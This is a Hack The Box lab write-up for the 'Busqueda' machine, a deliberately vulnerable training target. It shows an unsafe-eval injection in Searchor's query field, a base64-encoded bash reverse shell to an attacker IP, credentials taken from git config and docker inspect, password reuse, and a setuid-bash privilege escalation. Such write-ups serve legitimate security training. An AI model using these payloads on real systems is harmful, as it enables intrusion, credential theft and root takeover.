Busqueda | Write Up | Hack The Box

Introduction

Busqueda is an Easy Hack The Box Machine released on 9 April 2023 as part of the new Weekly Seasonal Machines. This is a short but concise write up for it. The machine can be found over at https://app.hackthebox.com/machines/Busqueda.

This is a pretty simple machine which requires some knowledge of Python, Git and Docker

Enumeration

NMAP

nmap -vv --open -Pn -T4 -sV -sC -sS -oA busqueda_nmap busqueda.htb

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Running NMAP we see that SSH and HTTP ports are open.

WEB 80

Checking out the website on port 80 with curl, we are redirected to searcher.htb so we add that to our hosts file

# curl busqueda.htb

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://searcher.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at busqueda.htb Port 80</address>
</body></html>

Visiting searcher.htb we see the following

searcher.htb webpage

In the source code: We see that it is an application called searchor and uses flask

<p class="copyright">Powered by
    <a style="color:black" target="_blank" href="https://flask.palletsprojects.com">Flask</a>
    and 
    <a style="color:black"  target="_blank" href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a>
</p>

It also comes with a Github link to the project over at https://github.com/ArjunSharda/Searchor, how convenient

Looking at the releases and changelog, we see that a vulnerability was fixed in version v2.4.2

Changelog for v2.4.2 of Searchor

We hazard a guess that it is probably a classic unsafe eval vulnerability (that fits easy level machines or CTF challenges) and we check out the patch. As it turns out, we were right

Unsafe eval code snippet

Checking out the source code, the copy_url and open_web variables are not required for the function call as they have defaut values. We try to modify the engine post variable in the form submission but it seems like there is a check for valid engines in the flask application so we are left with the query variable.

Advertisement
Advertisement

Exploiting unsafe eval

Trying out test')# as the query, we have something like the following

eval(
Engine.Google.search('test')#', copy_url={copy}, open_web={open}
)

Note how the part after the # is treated as a comment by our eval, we should expect a url with test as the query string as follows
https://www.google.com/search?q=test

Trying out test', exec(print("INSERT PAYLOAD")))# ,we get INSERT PAYLOAD back which means we now have code execution.

Now we need to have some way to call os.system with our reverse shell code. Thankfully, hacktricks has a page on that at https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes

We can import the os module and run system commands using

__import__("os").system("id")

Replacing the print command with the previous line returns us

uid=1000(svc) gid=1000(svc) groups=1000(svc)

Changing to a reverse shell payload as follows

bash -i >& /dev/tcp/10.10.14.36/80 0>&1

we then base64 encode it just in case

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi84MCAwPiYx | base64 -d | bash

Finally we replace the id command with the above. Before submitting the form, we start a nc listener on port 80 of our attacker machine

svc User shell

svc@busqueda:/var/www/app$ id && whoami
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc
svc@busqueda:/var/www/app$ cd ~
svc@busqueda:~$ ls
user.txt
svc@busqueda:~$ wc -c user.txt 
33 user.txt
svc@busqueda:~$ 

Further enumeration

Looking inside the web application folder /var/www/app we see a .git folder.

First off, we need to add the following git config safe.directory value with

git config --global --add safe.directory /var/www/app

Listing all the config values we see what seems to be credentials in the remote.origin.url line

svc@busqueda:/var/www/app$ ls -lah
total 20K
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 .
drwxr-xr-x 4 root     root     4.0K Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 12 06:51 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 templates
svc@busqueda:/var/www/app$ git config -l
user.email=cody@searcher.htb
user.name=cody
core.hookspath=no-hooks
safe.directory=/var/www/app
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
remote.origin.url=http://cody:jh1usoih2bkj*******@gitea.searcher.htb/cody/Searcher_site.git
remote.origin.fetch=+refs/heads/*:refs/remotes/origin/*
branch.main.remote=origin
branch.main.merge=refs/heads/main

We also have a new subdomain we can add to our hosts file: gitea.searcher.htb

When we visit gitea.searcher.htb, we see its running Gitea 1.18.0

gitea.searcher.htb

We can login as cody with the password but nothing seems to be there.

Seeing that cody is the git user used to make commits. It could be the case that svc is just a user made for the web application.

Trying out cody's Gitea password to SSH in, we realise that there is password reuse

SSH as svc

Checking for commands we can run as sudo, we see a python script

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Running the command with sudo root

svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

It seems that we can run docker ps as well as docker inspect along with a full checkup function

Docker inspect allows us to view the running config of the container which might be the next way forward

Viewing running docker containers

svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps 
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 months ago   Up 5 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 months ago   Up 5 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

We have two containers running, gitea as well as mysql

Inspecting docker containers

From the documentation at https://docs.docker.com/engine/reference/commandline/inspect/#get-a-subsection-in-json-format

We can get a json dump of the config subsection using the following by setting --format='{{json .Config}}'

Trying it on the Gitea container, we get the config dumped as json, and we get the gitea db user credentials in the GITEA__database__USER and GITEA__database__PASSWD variable.

svc@busqueda:/var/www/app$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
--format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu********","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

Seeing that there was a case of password reuse previously. We try the password for the administrator user in the gitea site and manage to login.

We see a repository called scripts and inside we see a few scripts, including the source code for system-checkup.py

For the full checkup option we see this code snippet

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

Privilege Escalation

It seems like we can run any shell code as long as we can create a shell script named full-checkup.sh and then running the sudo command in the directory.

Creating full-checkup.sh in /home/svc with the following contents

#!/bin/bash
chmod +s /bin/bash

After making it executable, if our script is succesful, bash will have the setuid bit set which allows us to run bash as root later on

svc@busqueda:~$ ls -lah /bin/bash
-rwxr-xr-x 1 root root 1.4M Jan  6  2022 /bin/bash
svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.4M Jan  6  2022 /bin/bash

We are successful!

ROOT shell

svc@busqueda:~$ bash -lip
bash-5.1# whoami
root
bash-5.1# cd root
bash-5.1# ls
ecosystem.config.js  root.txt  scripts  snap
bash-5.1# cat root.txt 
5e5deebb4c03af0a1***************

FIN

This machine may not be that easy if one does not have prior knowledge of Python, Git or Docker. However, the roadblocks can be easily overcome with some trial and error as well as Googling for answers.

Thats the end of the writeup for the easy HTB machine Busqueda, hope you like it!